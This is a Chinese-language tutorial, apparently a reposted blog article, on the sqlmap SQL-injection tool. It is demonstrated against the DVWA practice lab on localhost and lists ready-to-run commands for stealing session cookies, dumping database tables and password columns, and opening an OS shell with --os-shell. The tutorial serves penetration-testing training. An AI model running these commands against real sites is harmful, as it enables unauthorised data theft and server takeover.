sql注入工具-​sqlmap

介绍：

  • sqlmap是一款开源的自动化SQL注入工具，用于自动化检测和利用Web应用程序中的SQL注入漏洞。它具有强大的参数化查询和自定义注入脚本的功能，可以通过检测和利用SQL注入漏洞来获取数据库的敏感信息，如用户名、密码和其他重要数据。
  • sqlmap支持多种数据库管理系统，包括MySQL、Oracle、PostgreSQL和Microsoft SQL Server等。它可以通过发送特制的HTTP请求来检测和利用SQL注入漏洞，还可以使用不同的技术和方法来绕过应用程序的防御机制，以获取更多的信息和访问权限。
  • sqlmap具有命令行界面和图形用户界面两种使用方式，用户可以根据自己的需求选择合适的界面来操作。它支持各种高级注入技术，如时间延迟注入、布尔盲注和报错注入等，可以高效地检测和利用各种类型的SQL注入漏洞。
  • 总之，sqlmap是一款功能强大的SQL注入工具，可以帮助安全研究人员和渗透测试人员自动化检测和利用Web应用程序中的SQL注入漏洞，从而提高安全性和保护敏感数据。

1. sqlmap工具安装

下载：GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

提示：如果你有kali虚拟机，也可以使用kali上自带的sqlmap

2. 快速上手sqlmap

提示：以下示例中使用的靶场为dvwa

1. 初体验-检测注入点：难度为 low 的 SQL Injection

如果测试的接口是登录后的那么就需要携带cookie给sqlmap，以下是关于cookie的获取方式

打开开发者工具，点击网络，然后重新刷新网页，找到sqli开头的文档，找到cookie然后复制

或者打开开发者工具后，在控制台输入，copy(document.cookie)，就会自动复制

  1. 疑似存在注入点的url：http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  2. 打开sqlmap，执行命令：检测注入点 
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=tvdumf3v7rku6h1l7st3fjrv6v'

  3. 执行完成的结果：

       

2. 初体验-检测注入点：难度为 High 的 SQL Injection

  • 主要是学习sqlmap，怎么用于对拥有二级页面的网址进行扫描
  • sqlmap针对于存在二级页面的使用方式
  • 这里可以将输入数据的页面称为一级页面，返回数据的页面称为二级页面

使用命令：

python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"

命令解读：python .\sqlmap.py -u "提交数据的网址" --data="POST请求的数据" --second-url="返回数据的网址" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"

3.常用命令

基本的常用命令：

  • 检测注入点：sqlmap.py -u "疑似存在注入点的url"
  • 查看所有数据库：sqlmap.py -u "疑似存在注入点的url" --dbs
  • 查看当前使用的数据库：sqlmap.py -u "疑似存在注入点的url" --current-db
  • 查看数据表：sqlmap.py -u "疑似存在注入点的url" --tables
    • 或指定某个查看数据库的数据表名：sqlmap.py -u "疑似存在注入点的url" -D ""数据库 --tables
  • 查看数据表所有数据：sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --dump
    • 或者查看数据表中指定字段的数据：sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' -C "user,password" --dump
  • 获取数据库密码：sqlmap.py -u "疑似存在注入点的url" --password
  • 获取所有数据库用户：sqlmap.py -u "疑似存在注入点的url" --users
  • 指定扫描线程：sqlmap.py -u "疑似存在注入点的url" --threads=10
  • 设置cookie：sqlmap.py -u "疑似存在注入点的url" --cookie="cookie值"
  • 获取数据表字段：sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns
  • 选项默认全选Y：sqlmap.py -u "疑似存在注入点的url" --batch
    • 使用–batch参数，可以在所有需要用户输入的部分（通常是询问执行yes还是no），执行默认操作，不需要用户再输入
  • 注入探索等级,一般用4：sqlmap.py -u "疑似存在注入点的url" --level=1
    • --level 一共有5个等级：1-5
  • 设置注入类型：sqlmap.py -u "疑似存在注入点的url" --technique="注入的类型"
    • B：Boolean-based blind（布尔型注入）
    • E：Error-based（报错型注入）
    • U：Union query-based（可联合查询注入）
    • S：Stacked queries（可多语句查询注入）
    • T：Time-based blind（基于时间延迟注入）
    • Q：Inline queries（嵌套查询注入）
    • 使用方式：
      • 1. 检测注入点：sqlmap.py -u "疑似存在注入点的url"
      • 2. 知道存在的注入点后-设置technique：sqlmap.py -u "疑似存在注入点的url"  --technique="B"
    • 获取数据库服务器的操作系统shell访问权限：--os-shell 
      • sqlmap.py -u "疑似存在注入点的url" --os-shell
  • 批量检测url命令 -m : sqlmap.py -m urls.txt
  • 检测burp抓包格式 -r： sqlmap.py -r burp.txt
  • 指定输出结果路径 --output-dir 路径： sqlmap.py -r burp.txt --output-dir C:\User\1111\Desktop\
  • 设置随机的HTTP User-Agent： sqlmap.py -u "疑似存在注入点的url" --random-agent
  • 指定url参数：sqlmap.py -u "疑似存在注入点的url" -p "id"
  • 以上的命令都能联合使用：
    • 例如： 
      sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns -threads=10 --dump 

关于level参数和risk参数

  • level参数：--level 参数决定了sqlmap在检测sql注入时的努力程度
    • level 1：默认的level等级，会测试GET和POST请求中的参数
    • level 2：除了前面提到的，还会检测cookie中的数据
    • level 3：user-agent和referer头部也纳入检测返回
    • level4~5：会尝试各种payloads 和边界条件，确保不放过任何潜在的注入点
      • 关于什么是payloas：
        • "payload" 是一个常见的术语，指的是在攻击或渗透测试中用于执行某种操作或达到某种目的的恶意代码或数据。 在攻击者的角度，payload 可能是一段恶意代码，用于利用系统或应用程序中的漏洞，以获取未授权的访问权限、执行命令、窃取敏感信息等。
      • 默认使用sqlmap中的payloads
      • 关于自定义payloads请在搜索引擎上查找相关资料
  • risk参数：--risk 与 --level 不同，-risk 参数更像是告诉 sqlmap：“我愿意承担多大的风险来进行这次测试
    • risk 1：安全第一，默认的风险等级，风险几乎为 0 
    • risk 2：除了默认的检测，还会尝试时间型盲注
    • risk 3：在风险等级2的基础上，在加上 OR 类型的布尔型盲注。这种方式在某些情况下可能会导致数据表的所有记录被更新，所以使用时需谨慎。
  • level 和 risk的区别：
    • 方向不同：--level 更像是广度上的拓展，而 --risk 则是深度上的挖掘。
    • 场景不同：如果觉得默认的 GET 和 POST 参数检测不够，想要找找其它位置的注入点时，可以考虑加 --level 等级。如果可以确定某个位置就是存在注入点，或是强烈怀疑某个地方存在注入，但目前的 payload 覆盖不到，而且愿意承担风险进行深入测试时，可以考虑提升 --risk 等级。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/590845.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

MySQL-SQL执行流程及原理

MySQL-SQL执行流程及原理

1、SQL执行流程 2、查询流程 查询缓存： MySQL服务器如果在查询缓存中存在该SQL语句，就直接将结果返回给客户端，没有就进入解析器解析阶段。（MySQL 8.0 删除该功能）解析器：在解析器中对SQL语句进行语法及语…
阅读更多...
MySQL常见问题解决和自动化安装脚本

MySQL常见问题解决和自动化安装脚本

常见问题 MySQL密码正确但无法登录的情况 这种情况一般都是因为缓存，使用mysql -u root -p123456直到成功登陆为止，并且进入之后重新修改密码，多次重复修改密码的命令并且再一次清除缓存后退出。 ALTER USER rootlocalhost IDENTIFIED WIT…
阅读更多...
华为Pura70发布，供应链公司进入静默保密期

华为Pura70发布，供应链公司进入静默保密期

保密措施：与华为Pura70发布相关的供应链公司在产品发布前后处于静默保密期。这可能是由于华为对于手机供应链的一些信息处于保密状态，尤其是关于麒麟芯片的代工厂商等敏感信息。这种保密措施有助于保持产品的神秘感，调动用户的好奇心&#xf…
阅读更多...
Linux中线程管理命令，查看ps和kill实操记录

Linux中线程管理命令，查看ps和kill实操记录

Linux中线程管理命令，查看ps和kill实操记录 ps命令实例操作参考链接 写的目的是，笔者在服务器的使用中遇到了这个知识点，并且进行学习和使用，希望在这里记录和加深印象，方便以后回忆和其他读者的学习。 具体的情景是&a…
阅读更多...
算法数据结构--单调栈

算法数据结构--单调栈

文章目录 介绍单调递增栈单调递减栈图示应用场景 步骤模板Deque用法例题[739. 每日温度](https://leetcode.cn/problems/daily-temperatures/)[496. 下一个更大元素 I](https://leetcode.cn/problems/next-greater-element-i/) 总结 介绍 单调栈是一种特殊的栈数据结构&#x…
阅读更多...
快讯！ MySQL 8.4.0 LTS 发布(MySQL 第一个长期支持版本)

快讯！ MySQL 8.4.0 LTS 发布(MySQL 第一个长期支持版本)

MySQL 第一个长期支持版本 8.4.0 LTS 发布，社区版下载地址： https://dev.mysql.com/downloads/mysql/ 功能变更 添加或更改的功能 组复制：与组复制相关的两个服务器系统变量的默认值已更改： 系统变量的默认值为 group_replication…
阅读更多...
TS学习-泛型基础

TS学习-泛型基础

目录 1，介绍1，在函数中使用2，在类型别名，接口中使用3，在类中使用 2，泛型约束3，多泛型4，举例实现 Map 1，介绍 泛型相当于是一个类型变量，有时无法预先知道具体…
阅读更多...
JavaWeb--1.Servlet

JavaWeb--1.Servlet

Servlet&#xff08;基础&#xff09; 1、配置依赖&#xff1a; ​ 在pom.xml文件中加入相关依赖 <dependencies><dependency><groupId>jakarta.servlet</groupId><artifactId>jakarta.servlet-api</artifactId><version>5.0.0&l…
阅读更多...
数据结构--栈与队列【您的关注是我创作的动力！】

数据结构--栈与队列【您的关注是我创作的动力！】

文章目录 栈什么是栈&#xff1f;栈的具体实现 队列什么是队列&#xff1f;队列的实现 栈 什么是栈&#xff1f; 栈也是顺序表的一种&#xff0c;栈的逻辑实现是先进后出&#xff08;后进先出&#xff09;就跟子弹夹一样。 具体逻辑就是它只允许在固定的一端进行数据的插入与…
阅读更多...
eNSP-抓包解析HTTP、FTP、DNS协议

eNSP-抓包解析HTTP、FTP、DNS协议

一、环境搭建 1.http服务器搭建 2.FTP服务器搭建 3.DNS服务器搭建 二、抓包 三、http协议 1.HTTP协议&#xff0c;建立在FTP协议之上 2.http请求 3.http响应 请求响应报文参考&#xff1a;https://it-chengzi.blog.csdn.net/article/details/113809803 4.浏览器开发者工具抓包…
阅读更多...
C++ 函数 参数与返回值

C++ 函数 参数与返回值

#一 参数与返回值 回顾文件读数据功能 文件读数据 1函数参数传值调用过程 将函数调用语句中的实参的一份副本传给函数的型材。 简单的值的传递&#xff0c;实参的值没有发生变化。 2 函数参数传值调用过程 传地址调用 将变量的地址传递给函数的形参 形参和实参指向了同…
阅读更多...
webpack与vite

webpack与vite

webpack 使用步骤&#xff1a; 初始化项目 pnpm init -y安装依赖webpack、webpack-cli在项目中创建src目录&#xff0c;然后编写代码&#xff08;index.js&#xff09;执行pnpm weboack来对代码进行打包&#xff08;打包后观察dist文件夹&#xff09; 配置古文件&#xff08;w…
阅读更多...
数智新重庆 | 推进信号升格 打造算力山城

数智新重庆 | 推进信号升格 打造算力山城

2024年&#xff0c;是实现“十四五”规划目标任务的关键一年&#xff0c;高质量的5G网络、强大的AI能力作为新质生产力的重要组成部分&#xff0c;将有效赋能包括制造业在内的千行万业数字化化、智能化、绿色化转型升级&#xff0c;推动融合应用新业态、新模式蓬勃兴起&#xf…
阅读更多...
字符函数与字符串函数（2）

字符函数与字符串函数（2）

遇见她如春水映莲花 字符函数与字符串函数&#xff08;2&#xff09; 前言一、strcatstrncat 二、strcmpstrncmp在这里插入图片描述 三、strstr四、strtok五、strerror总结 前言 根据上期字符函数与字符串函数我们可以了解到字符函数与个别字符串函数的用法&#xff0c; 那么接…
阅读更多...
SQL注入less-1

SQL注入less-1

一、启动SQL注入的靶场 1、启动phpstudy 注&#xff1a;phpstudy默认的php版本为7.x&#xff0c;想要成功的搭建靶场&#xff0c;需要把php版本改为5.x 2、输入127地址加文件名 进入此界面后点击setup就行 3、进入less-1的关卡 靶场搭建成功 二、查看less-1的代码 注&#…
阅读更多...
什么？300TB SSD要来了？

什么？300TB SSD要来了？

SK海力士在韩国首尔的一场新闻发布会上宣布&#xff0c;其正在研发一款前所未有的300TB容量的固态硬盘&#xff08;SSD&#xff09;。这款硬盘的预告是该公司一系列旨在推动数据中心和设备端AI能力发展的产品与技术组合的一部分。SK海力士引用市场研究预测&#xff0c;全球在AI…
阅读更多...
每日一题（力扣740）：删除并获得点数--dp+思维

每日一题（力扣740）：删除并获得点数--dp+思维

其实跟打家劫舍没啥区别 排序去重之后去考虑当前位置和前两个位置之间的关系即可&#xff0c;具体见代码&#xff1a; class Solution { public:int deleteAndEarn(vector<int>& nums) {int n nums.size();if (n 1) return nums[0];unordered_map<int, int>…
阅读更多...
代码随想录算法训练营DAY51|C++动态规划Part12|1143.最长公共子序列、1035.不相交的线、53.最大子序列和

代码随想录算法训练营DAY51|C++动态规划Part12|1143.最长公共子序列、1035.不相交的线、53.最大子序列和

文章目录 1143.最长公共子序列思路CPP代码 1035.不相交的线53.最大子序列和思路CPP代码 1143.最长公共子序列 力扣题目链接 文章讲解&#xff1a;1143.最长公共子序列 视频讲解&#xff1a;动态规划子序列问题经典题目 | LeetCode&#xff1a;1143.最长公共子序列 本题其实就跟…
阅读更多...
GPU虚拟化和算力隔离探讨

GPU虚拟化和算力隔离探讨

1. 术语介绍 术语 全称 说明 GPU Graphics Processing Unit 显卡 CUDA Compute Unified Device Architecture 英伟达2006年推出的计算API VT/VT-x/VT-d Intel Virtualization Technology -x表示x86 CPU&#xff0c;-d表示Device SVM AMD Secure Virtual Machine …
阅读更多...
ASP.NET视频点播系统的设计与实现

ASP.NET视频点播系统的设计与实现

摘 要 本文阐述了基于WEB的交互式视频点播系统的协议原理、软件结构和设计实现。本视频点播系统根据流媒体传输原理&#xff0c;在校园局域网的基础上模拟基于Web的视频点播系统&#xff0c;实现用户信息管理、视频文件的添加、删除、修改及在线播放和搜索功能。本系统是一个…
阅读更多...
最新文章

Copyright @ 2022~2023